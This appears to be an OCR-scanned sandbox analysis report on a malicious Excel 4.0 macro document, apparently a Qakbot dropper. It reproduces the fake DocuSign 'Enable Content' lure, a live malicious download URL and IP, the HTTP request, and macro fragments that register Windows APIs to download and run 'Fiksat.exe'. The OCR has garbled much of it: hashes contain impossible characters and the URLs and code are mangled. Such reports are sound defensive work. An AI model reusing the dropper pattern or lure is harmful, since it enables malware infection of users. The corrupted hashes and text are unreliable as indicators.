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Analysis Report Complaint-Copy_1984632811_11102020...

Overview
General Information Detection Signatures Classification
Sample Complaint-
Name: Copy_1984632811_111020 Antivirus / Scanner detection for sub...
20Xt MALICIOUS Antivirus detection for URL or domain
Analysis ID: 321328
. Multi AV Scanner detection for subm...
MDs: 3923517a84aasc..
. Office document tries to convince Vvi...
SHAL: 963392e67€0634..
SHA256: 5958d4456h3934.. Document exploit detected (UrlDown...

Most interesting Screenshot:

Found abnormal large hidden Excel ...

Yara detected/hidden Macro 4.0/in E...

Document containsiembedded VBA ...

Hidden Macro 4.0 Potentialldocument explojt detected...
84

Score:

Potential documentexploitdetected...

Range: 0-100 Potential documentexploitdetected...

Whitelisted:  false

Confid 100% Uses a knowniwebbrowser userage:..
i onfidence: Q

EETOElel =]

Startup

= System is w7x64
. EXCEL.EXE (PID: 2464 cmdline: 'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source Rule Description Author Strings
Complaint-Copy_1984632811_11102020.xls SUSP_EnableContent_Stri Detects suspicious Florian Roth e 0x780d:$el: Enable Editing
ng_Gen string that asks to e 0x7858:$el: Enable Editing
enable active e 0x7876:$e2: Enable Content
content in Office
Doc
Complaint-Copy_1984632811_11102020.xls SUSP_ExceldMacro_Auto Detects Excel4 John Lambert e 0x0:$header_docf: DO CF 11 EO
Open macro use with @JohnLaTwC e 0Ox8ea2:$sl: Excel
auto open / close * 0x9f13:$s1: Excel
e 0x374e:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 O

000 00 00 00 00 00 00 00 01 3A

Complaint-Copy_1984632811_11102020.xls JoeSecurity_HiddenMacro Yara detected Joe Security
hidden Macro 4.0
in Excel

Sigma Overview

No Sigma rule has matched
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Signature Overview

@ AV Detection

@ Software Vulnerabilities

@ Networking

@ System Summary

@ Hooking and other Techniques for Hiding and Protection
@ HIPS / PFW / Operating System Protection Evasion

g

Click to jump to signature section

AV Detection:

Antivirus | Scanner detection for submitted sample
Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Software Vulnerabilities:

System Summary: - |

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

HIPS | PFW | Operating System Protection Evasion: | | |

Mitre Att&ck Matrix

Remote
Initial Privilege  Defense Credential Lateral Command Network Service
Access Execution Persistence Escalation Evasion Access Discovery Movement Collection Exfiltration and Control Effects Effects In
Valid Scripting Path Path Masquerading oS File and Remote Data from  Exfiltration Non- Eavesdrop on  Remotely M
Accounts Interception  Interception Credential Directory Services Local Over Other Application Insecure Track Device Sy
Dumping  Discovery System Network Layer Network Without Pi
Medium Protocol Communication Authorization
Default  Exploitation for Boot or Boot or Disable or Modify LSASS System Remote Data from  Exfiltration Application Exploit SS7 to  Remotely D
Accounts Client Logon Logon Tools Memory  Information Desktop Removable Over Layer Redirect Phone Wipe Data  Lc
Execution Initialization  Initialization Discovery §§ Protocol Media Bluetooth  Protocol Calls/SMS Without
Scripts Scripts Authorization
Domain At (Linux) Logon Script Logon Scripting Security  Query SMB/Windows Data from Automated Ingress Tool Exploit SS7to Obtain Di
Accounts (Windows)  Script Account  Registry Admin Shares Network Exfiltration Transfer Track Device  Device Di
(Windows) Manager Shared Location Cloud Di
Drive Backups
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Behavior Graph

Legend:
Behavior Graph Process
ID: 321328 Signature
Sample: Complaint-Copy_1984632811 _1... Created File
Startdate: 20/11/2020 DNS/IP Info
Architecture:  WINDOWS Is Dropped
Score: 84

Is Windows Process
Number of created Registry Values
Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

Ch

int.boogieapparel.co.id

103.253.212.59, 49165, 80
RUMAHWEB-AS-IDRumahweblndonesiaCVID

Indonesia =

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Ny Complaint-Copy 1984632811 11102020 [Compatibility Mode] - Microsoft Excel - Complaint-Copy_1984632811 11102020 [Compatibility Mode]

Home Insert Page Layout Formulas Data Review View

‘:‘ cut Calibri -1 Y ==[g
53 Copy ~
# Format Painter
Clipboard Font

S Wrap Text General - ij

B Mergeacenter~ § v % » | %3 9% | Conditional Format Cell
Formatting - as Table - Styles =

Alignment Humber Styles Cells

B I U~ Insert Delete Format

o B8
2@ o @ =

$EEFE I A

&2 Clear =

Sort & Find &
Filter~ Select~

Editing

Ad7 -

fe
A B e D E
Docugzgm,x

PERFORM THE FOLLOWING STEPS TO PERFORM DECRYPTION

F G H 1 J K
THIS DOCUMENT IS ENCRYPTED BY
DOCUSIGN® PROTECT SERVICE

[I] If this document was downloaded from Email, please click 'Enable Editing'
from the yellow bar above

@Once You have Enable Editing, please click 'Enable Content'
from the yellow bar above

WHY | CANNOT OPEN THIS DOCUMENT?

Byou are using i0S or Android, please use Desktop PC

B you are trying to view this document using Online Viewer

M+ M| DocuSign® ucrl ~mcr3 %0

Ready |

_—~

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner
Complaint-Copy_1984632811_11102020.xls 19% ReversingLabs
Complaint-Copy_1984632811_11102020.xls 100% Avira
Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source Detection Scanner
int.boogieapparel.co.id 4% Virustotal
URLs

Source Detection Scanner
hitp://int.boogieapparel.co.id/jvkuykqpn/4574557.png 4% Virustotal
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Label Link
Document-
Office.Backdoor.Quakbot
XF/Agent.B2
Label Link
Browse
Label Link
Browse
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https://www.virustotal.com/gui/url/92842bc920f156f32a554aa4a5b248b22f80cdade025488396a4fa57e0a58c88/detection/u-92842bc920f156f32a554aa4a5b248b22f80cdade025488396a4fa57e0a58c88-1605502928
https://www.virustotal.com/gui/url/09d4f0e3e2e952ce2cd4c8238272d80206915c5e2fb11fa4c1c92c1da9504849/detection/u-09d4f0e3e2e952ce2cd4c8238272d80206915c5e2fb11fa4c1c92c1da9504849-1605117515

Source

hitp:/int.boogieapparel.co.id/jvkuykqpn/4574557.png

Domains and IPs

Contacted Domains

Name P

int.boogieapparel.co.id 103.253.212.59

Contacted URLs

Name

hitp:/int.boogieapparel.co.id/jvkuykqpn/4574557.png

Contacted IPs

»
...
] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs
Public
P Domain Country
103.253.212.59 unknown Indonesia

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Copyright null 2020

Detection Scanner
100% Avira URL Cloud
Active Malicious Antivirus Detection
true false e 4%, Virustotal, Browse
Malicious Antivirus Detection
true e 4%, Virustotal, Browse

e Avira URL Cloud: malware

Flag ASN
= 58487

Label Link
malware
Reputation
unknown
Reputation
unknown

ASN Name Malicious

RUMAHWEB-AS- false
IDRumahweblndonesiaCVID

31.0.0 Red Diamond

321328
20.11.2020
20:54:39

CloudBasic
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https://www.virustotal.com/gui/url/92842bc920f156f32a554aa4a5b248b22f80cdade025488396a4fa57e0a58c88/detection/u-92842bc920f156f32a554aa4a5b248b22f80cdade025488396a4fa57e0a58c88-1605502928
https://www.virustotal.com/gui/url/09d4f0e3e2e952ce2cd4c8238272d80206915c5e2fb11fa4c1c92c1da9504849/detection/u-09d4f0e3e2e952ce2cd4c8238272d80206915c5e2fb11fa4c1c92c1da9504849-1605117515

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

No simulations

Joe Sandbox View | Context

IPs

No context

Domains

No context

ASN

Match

RUMAHWEB-AS-
IDRumahweblndonesiaCVID

Copyright null 2020

Associated Sample Name /| URL SHA 256
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

_

Get hash

i

Oh 3m 51s

false

light
Complaint-Copy_1984632811_11102020.xls
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

4

o ©o o o

e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL
mal84.expl.evad.winXLS@1/5@1/1

e Adjust boot time

e Enable AMSI
e Found application associated with file extension:
Xls

e Found Word or Excel or PowerPoint or XPS Viewer

e Attach to Office via COM

e Scroll down

e Close Viewer

Show All
e Exclude process from analysis (whitelisted):
dllhost.exe
Detection Link Context
malicious Browse e 103.253.21
2.238
malicious Browse e 103.247.9.181
malicious Browse e 103.247.9.181
malicious Browse e 103.247.9.181
malicious Browse e 103.247.9.181
malicious Browse e 103.247.9.181
malicious Browse e 103.247.9.181
malicious Browse e 103.247.10.240
malicious Browse e 103.253.214.59
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https://view.joesandbox.com/analysis/224809/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/224809/html/none?idtype=webid
https://view.joesandbox.com/analysis/222802/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/222802/html/none?idtype=webid
https://view.joesandbox.com/analysis/222801/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/222801/html/none?idtype=webid
https://view.joesandbox.com/analysis/222797/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/222797/html/none?idtype=webid
https://view.joesandbox.com/analysis/222796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/222796/html/none?idtype=webid
https://view.joesandbox.com/analysis/222795/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/222795/html/none?idtype=webid
https://view.joesandbox.com/analysis/222791/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/222791/html/none?idtype=webid
https://view.joesandbox.com/analysis/222771/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/222771/html/none?idtype=webid
https://view.joesandbox.com/analysis/215681/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/215681/html/none?idtype=webid

Match Associated Sample Name /| URL SHA 256 Detection Link Context
_ Get hash malicious Browse e 103.253.21
2.224
_ Get hash malicious Browse e 103.253.21
2.224
_ Get hash malicious Browse e 103.253.21
2.224
_ Get hash malicious Browse e 103.253.21
2.238
_ Get hash malicious Browse e 103.247.10.55
_ Get hash malicious Browse e 103.247.10.55
_ Get hash malicious Browse e 103.247.10.55
_ Get hash malicious Browse e 103.247.10.55
_ Get hash malicious Browse e 103.247.8.223
_ Get hash malicious Browse e 103.247.9.181
_ Get hash malicious Browse e 103.247.9.181
JA3 Fingerprints
No context
Dropped Files
No context
Created / dropped Files
C:\Users\user\AppData\Local\Temp\34DE0000
Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE
File Type: data
Category: dropped
Size (bytes): 25953
Entropy (8bit):  7.554142004148482
Encrypted: false
SSDEEP: 384:DzntMuylUr/gcY 7MsMf4FTjv/CBKf1WVcBP+g378a0VTOQNuzWKPgTk/m6RV:DztJjcoZMuJb/jvBP+g3AW+u7qlpRV
MD5: C785AEAD6251961971CEE65E626BBDC2
SHA1L: 06C35548680A7DBF238D39D580ADBF7CE394004B
SHA-256: 1CF6E8BB5321DD194BE4AEFBBCD4E1679F693A8095F18452B607B9F02EB328D4D
SHA-512: 209DED3255E6CDD0663B41F028781872169B5880A350225D15BF1BBC7AE637595D705165E519D97CACCCCESD7FC692CF03B424672080B26CF8A200B30BFF407
Malicious: false
Reputation: low
Preview:

.rizl$..19..s.$..w(+k8V...E.
mo L HP%L K

+b.+A;.5.bd7.....X....)...G. X9..W. H...A.A~=}...6.)s......l..nC.;'KeYq.. K...J@".
LOM,g#PW]b......F..e_..Q.w....."9\IG<....[tM.d....r?...=}.2..G..yw}....4 L. XJW.Com........
[Content_Types].xml ...(

=.Vit.u}@.E
dedexe=-nfLNL

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\Complaint-Copy_ 1984632811 11102020.LNK

Process: C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:12 2020, mtime=Sat Nov 21 03:55:39 2020,
atime=Sat Nov 21 03:55:39 2020, length=45568, window=hide

Category: dropped

Size (bytes): 2268

Entropy (8bit): 4.497492906166144

Encrypted: false

SSDEEP: 48:82k/XT3Inx00G1008kQh22k/XT3Inx00G1008kQ/:82k/XLInjkQh22k/XLInjkQ/

MDS5: 0D9742AAF80F067F34233ADE5716AC4B

SHAL: 0CE3CB8C078ED22B9B0OFD96379BB42C7484D404A

SHA-256: 7A4600B8FA1D6D20EOEEAOF481C72A4415AE234EC635F0267A110A09C00868CB

SHA-512: 417904ABB4CC242CDF1F6D8692730B3C19B42BC03244A13E5DF43A462F46B2A2CF72C51EE778ADC197CA4AD6FOF533494F5904B44F581119FBE6FFF25502823¢

Malicious: false

Reputation: low
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https://view.joesandbox.com/analysis/214293/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/214293/html/none?idtype=webid
https://view.joesandbox.com/analysis/214229/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/214229/html/none?idtype=webid
https://view.joesandbox.com/analysis/213860/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/213860/html/none?idtype=webid
https://view.joesandbox.com/analysis/212321/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/212321/html/none?idtype=webid
https://view.joesandbox.com/analysis/210970/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/210970/html/none?idtype=webid
https://view.joesandbox.com/analysis/210913/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/210913/html/none?idtype=webid
https://view.joesandbox.com/analysis/210886/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/210886/html/none?idtype=webid
https://view.joesandbox.com/analysis/210629/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/210629/html/none?idtype=webid
https://view.joesandbox.com/analysis/210507/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/210507/html/none?idtype=webid
https://view.joesandbox.com/analysis/210444/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/210444/html/none?idtype=webid
https://view.joesandbox.com/analysis/210443/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/210443/html/none?idtype=webid

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\Complaint-Copy_ 1984632811 11102020.LNK

Preview:

| EETTTOPRRN For s {00 s P.O. i....#00.../C:\e t.1....QK.X..Users. ........QK.X* .o 6...Us.ers..@.s.h.ell3.2..dll,.-
.2.1.8.1.3....L.1......Q.y..user.8......QK.X.Q.y*...&=....U.. ...Alb.us....z.1.....Q.y..Desktop.d.....QK.X.Q.y*..._= ....D.eskto.p..@.s.hell3.2.dll,.-21

.7.6.9.. uQ.& .COMPLA~1.XLS. z......Q.y.Q.y*...8. .C.om.p.laint-C.0.py._.1.9.8.4.6.3.28.1.1._.1.1.1.0.2.0.2.0...x.l.s.. .
J.....C\Users\.#......cccooueen \\114127\Users.user\Desktop\Complaint-Copy_1984632811_11102020.xls.=....\....\....\....\..... \.D.e.s.k.t.o.p.\.C.o.m.p.l.a.i.n.t.-.C.0.p.y
...1.9.84.6.3.2.8.1.1._.1.1.1.0.2.0.2.0..X..S.c.c0...lo ). LB AGu e 1SPS.XF.L8C...&m.m............~...S.-.1.-5.-.2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Sat Nov 21
03:55:39 2020, atime=Sat Nov 21 03:55:39 2020, length=12288, window=hide

dropped

867

4.466118142780456

false
12:85QDLgXg/XAICPCHaXgzB8IB/YFX+Wnicvb+ObDtZ3YiIMMEpxRIK5TdIJP9TdJ2:85M/XTwz610YeSCDv3qkrNru/
6144840846E5E76BB07B02E9C033D2E9

C20490D6089C0899D552FB22206F28E5BBABBEAF
56AE41A0C09140E3ABEB33CF6495414D3E889F245BEDI4B8112FFAB77CA45082

F852FFBC712941AD9CE1BCBED1FOE2BE40C4728D9F9C5ACAB2B6EY08A90614A739ACBC4887FE151CFE25F8EFG6BIE91B4CF0502599E808CD54548DA27BAB3C
72C

false

low

PO 400, /C t.1....QK.X..Users. .....
coeedAllbiuss.lz 10 uQ & . Desktop.d......QK XUQ.&*..._=
\.. .\.D.ess.kt.o.p..

Xeen 114127...

...6....Us.ers..@.s.hell3.2.dll,.-
.D.e.skto.p..@.s.hell3.2.dll,.-21.

e LB AGee 1SPS.XF.L8C
.D_...3N..W..9r.[.*.....}EKD_....3N..W

.Q.y..user.8.....QK.X.Q.y*...&
8ifi 230 C\Users\ \114127\Users.user\Desktop....... \.
.S.-1.-5.-2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

ASCII text, with CRLF line terminators

dropped

155

4.782840932348737

false

3:0yBVomMYI19aQI+1119aQImMYI19aQlv:dj6YlunalunxYlunl
D16F8EEA1281B0OFD6372F23858B85FD5
28FD118905CFE08FB64D8B5C4B514DD91BDOB02E
23C1D657B722A1C30C322D4E749280395A777BCB136F5C86CACT7E73574A2AD1A
D6A4F15B4046B635E1BEA0353CDI5AF8B10C515487A6429988A0F2EDB821506A479F5E82DEF38D604362618000816E4AAIAB3FC593792FA6CA06D71C4923696F
false

low

Desktop.LNK=0..[xIs]..Complaint-Copy_1984632811_11102020.LNK=0..Complaint-Copy_1984632811_11102020.LNK=0..[xIs]..Complaint-Copy_1984632811_1
1102020.LNK=0..

C:\Users\user\Desktop\B4DE0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

Copyright null 2020

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Applesoft BASIC program data, first line number 16

dropped

71110

6.191934771599683

false
1536:hXcKoSsxz1PDZLDZjIbR86808KL5L+WXELjPOtioViDGUU1qfDIaGGx+cL2QnAFr:hXcKoSsxzNDZLDZjIbR86808KL5L+WxX
013438CF88100CA615E769D70A855B36

83DBCEC2962BB8D9C4C4C874985D002F006F28EB
54AC1E4890DF5190099A0DACOE662C0B8C1638196334A0CIBFFA3B70D9B784D0
B9EA45517783006A4A9F73C6EID80CAC7957CA9122E2BC1936339054C3223B9EIBBDBD698D7FBC032EF540DE64C24714081EFO5AE323129965B3212C10E00942
false

low

B.
.............. C.alibril..........Calibril.........Calibril..

.Calibril. .Calibril

.Calibril....
.Calibril...>. C.alibril....? ...Calibril...4.....Calib.ril.,.8. C.alib.ril....8 .Calib.ril. .Cali
C.alib.ril. ...Calibril..h.8......Cambrial...<.....Calibril C.a.lib.ril.

.Calibril.........Calibril.....
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Static File Info

General

File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "Complaint-Copy_1984632811_11102020.xIs"

Indicators
Has Summary Info:

Application Name:

edeea286adb4bcb4

OLE

True

Microsoft Excel

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1251, Name of
Creating Application: Microsoft Excel, Create T
ime/Date: Sat Sep 16 01:00:00 2006, Last Saved Tim
e/Date: Wed Nov 11 08:23:49 2020, Security: 0

5.312075712679437

e Microsoft Excel sheet (30009/1) 78.94%
e Generic OLE2 / Multistream Compound File
(8008/1) 21.06%

Complaint-Copy_1984632811_11102020.xls
45568

3923517a84aa5cda58fec80a26dfbfac
96339ae67e0634cabaefe3a9f13b0dd29f128781

5958d4456b39343d02e0a90b156112ff2f42ab2f94fb453f
722b8c4f1f91blc4

bbab71efef86a2798308e62eb1fc9c05c6605fa77a24396
e872b92a87d5606945deca7a42911ce803133b00ac50ec
8599f7768f2d406811329333cdaf71a74d2

768:nucKoSsxz1PDZLDZjIbR86808KIdzH3xz7uDphYH
ceXVhca+fMHLtyeGxchB80OUk:nucKoSsxz1PDZLDZjlb
R86808KIVH3FH

Encrypted Document: False

Contains Word Document Stream: False

Contains Workbook/Book Stream: True

Contains PowerPoint Document Stream: False

Contains Visio Document Stream: False

Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros: True

Summary

Code Page: 1251

Author:

Last Saved By:

Create Time: 2006-09-16 00:00:00
Last Saved Time: 2020-11-11 08:23:49
Creating Application: Microsoft Excel
Security: 0

Document Summary

Document Code Page: 1251

Thumbnail Scaling Desired: False

Contains Dirty Links: False
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Document Summary

Shared Document: False
Changed Hyperlinks: False
Application Version: 917504

Streams
Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5DocumentSummarylnformation

File Type: data

Stream Size: 4096

Entropy: 0.363455520341

Base64 Encoded: False

Data ASCIl: e +,. 00 H....... P....

Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 f8 00 00 00 08 00 00 00 01 00 00 00
4800 00 00 17 00 00 00 50 00 00 00 Ob 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00
00 00 68 00 00 00 16 00 00 00 70 00 00 00 Od 00 00 00 78 00 00 00 Oc 00 00 00 b5 00 00 00
02 00 00 00 e3 04 00 00

Stream Path: \xX5Summaryinformation, File Type: data, Stream Size: 4096

General
Stream Path: \x5Summaryinformation
File Type: data

Stream Size: 4096

Entropy: 0.250004009968
Base64 Encoded: False

Data ASCII:

Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f
f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40
00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 Oc 00 00
00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 le
00 00 00 04 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 35753

General
Stream Path: Workbook

File Type: Applesoft BASIC program data, first line number 16
Stream Size: 35753

Entropy: 6.21957904962

Base64 Encoded: True

Data ASCII:

Data Raw: 09 08 10 00 00 06 05 00 66 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00
00 00 e2 00 00 00 5¢ 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
202020 20 20 20 20 20

Macro 4.0 Code

"=REGISTER(Live!Y204,B684,Live!Y206,Live! Y207, Live!Y208,Live!Y209)","=CONCATENATE("'C""," reateDireCtoryA™)",,,...smmmsrmrns sy =Volate(Livel Y210, Livel Y:
1) s e =Volate(""C:\Gravity\Gravity2", LIVe!lY211)",,,.100m0m00ss0000000s s ~REGISTER(Live!Z204,Live!Z205,Live!Z2(
207, LivelZ208,LivelZ209)",,,.,...1.1 "=DFGYUJTYGSRYHEDRTSDGS(0,A697&Live!A310&A696&LivelA300,"C:\Gravity\Gravity2\Fiksat.exe™,0,0)",,,.1110m1011
s SREGISTER("Zipfldr™,"™"Route TheCall™," JJCCJI"™,""GFJVHYXDYHDTYHXDYHDTY",,1,9)",, s "=GFIVH
DTYHXDYHDTY(0,""calc™,"C:\Gravity\Gravity2\Fiksat.exe™,0)",,,,,s1sissis5m15ss5smssm5sm3s0310s
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Network Behavior

Network Port Distribution

Total Packets: 10

® 53 (DNS)
® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Nov 20, 2020 20:55:32.360158920 CET 49165 80 192.168.2.22 103.253.212.59
Nov 20, 2020 20:55:32.545371056 CET 80 49165 103.253.212.59 192.168.2.22
Nov 20, 2020 20:55:32.545615911 CET 49165 80 192.168.2.22 103.253.212.59
Nov 20, 2020 20:55:32.546956062 CET 49165 80 192.168.2.22 103.253.212.59
Nov 20, 2020 20:55:32.732038021 CET 80 49165 103.253.212.59 192.168.2.22
Nov 20, 2020 20:55:33.144804001 CET 80 49165 103.253.212.59 192.168.2.22
Nov 20, 2020 20:55:33.145180941 CET 49165 80 192.168.2.22 103.253.212.59
Nov 20, 2020 20:55:44.693747044 CET 80 49165 103.253.212.59 192.168.2.22
Nov 20, 2020 20:55:44.694098949 CET 49165 80 192.168.2.22 103.253.212.59
Nov 20, 2020 20:57:32.104588985 CET 49165 80 192.168.2.22 103.253.212.59
Nov 20, 2020 20:57:32.602775097 CET 49165 80 192.168.2.22 103.253.212.59
Nov 20, 2020 20:57:33.569986105 CET 49165 80 192.168.2.22 103.253.212.59
Nov 20, 2020 20:57:35.488939047 CET 49165 80 192.168.2.22 103.253.212.59
UDP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Nov 20, 2020 20:55:32.156871080 CET 52197 53 192.168.2.22 8.8.8.8
Nov 20, 2020 20:55:32.338742018 CET 53 52197 8.8.8.8 192.168.2.22
DNS Queries
Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
Nov 20, 2020 20:55:32.156871080 CET 192.168.2.22 8.8.8.8 0x315e Standard query  int.boogie A (IP address) IN (0x0001)
0) apparel.co.id
DNS Answers
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
Nov 20, 2020 8.8.8.8 192.168.2.22 0x315e No error (0) int.boogie 103.253.212.59 A (IP address) IN (0x0001)
20:55:32.338742018 apparel.co.id
CET

HTTP Request Dependency Graph

e int.boogieapparel.co.id

HTTP Packets
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Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49165 103.253.212.59 80 C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
kBytes

Timestamp transferred Direction Data

Nov 20, 2020 0 ouT GET /jvkuykqpn/4574557.png HTTP/1.1

20:55:32.546956062 CET Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: int.boogieapparel.co.id

Connection: Keep-Alive

Nov 20, 2020 1 IN HTTP/1.1 200 OK

20:55:33.144804001 CET X-Powered-By: PHP/7.3.6
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Date: Fri, 20 Nov 2020 19:55:33 GMT
Server: LiteSpeed
X-Powered-By: PleskLin
Connection: Keep-Alive

Code Manipulations

Statistics

System Behavior

Analysis Process: EXCEL.EXE PID: 2464 Parent PID: 584

General

Start time: 20:55:37

Start date: 20/11/2020

Path: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
Wow64 process (32bit): false

Commandline: ‘C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding
Imagebase: 0x13f500000

File size: 27641504 bytes

MDS5 hash: 5FBOAOF93382ECD19F5F499A5CAAS9F0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\D356.tmp read attributes | device synchronous io  success or wait 1 13F84EC83 GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\34DE0000 read attributes | device synchronous io  success or wait 1 7FEEAC59ACO unknown
synchronize | non alert | non
generic read | directory file |
generic write open no recall
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File Path
C:\Gravity

C:\Gravity\Gravity2

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

C:\Users\user\AppData\Local\Temp\33BE.tmp

File Deleted

File Path

C:\Users\user\AppData\Local\Temp\D356.tmp
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\image003.pn~

C:\Users\user\AppData\Local\Temp\imgs_files\image004.pn~
Copyright null 2020

Access

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

